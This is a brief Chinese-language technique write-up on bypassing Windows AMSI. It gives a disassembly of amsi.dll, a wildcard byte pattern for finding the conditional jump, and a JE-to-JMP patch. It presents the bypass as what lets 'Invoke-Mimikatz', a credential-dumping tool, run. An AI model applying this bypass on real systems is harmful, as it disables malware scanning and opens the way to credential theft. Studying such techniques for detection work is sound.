
Lifetime AMSI bypass
我们通过搜索每条指令的第一个字节来获取跳转指令的精确地址,即使目标数据集发生更新或修改,此技术依然有效。
例如:
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
搜索模式将如下所示:
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

程序会将 RDX 的值与自身进行比较。如果比较结果为 0,程序将执行跳转并返回。否则,程序将继续评估下一条指令。

此时无法执行 "Invoke-Mimikatz"

我们修补第一个字节,将其从 JE 改为 JMP,以便直接返回。


现在执行 "Invoke-Mimikatz"
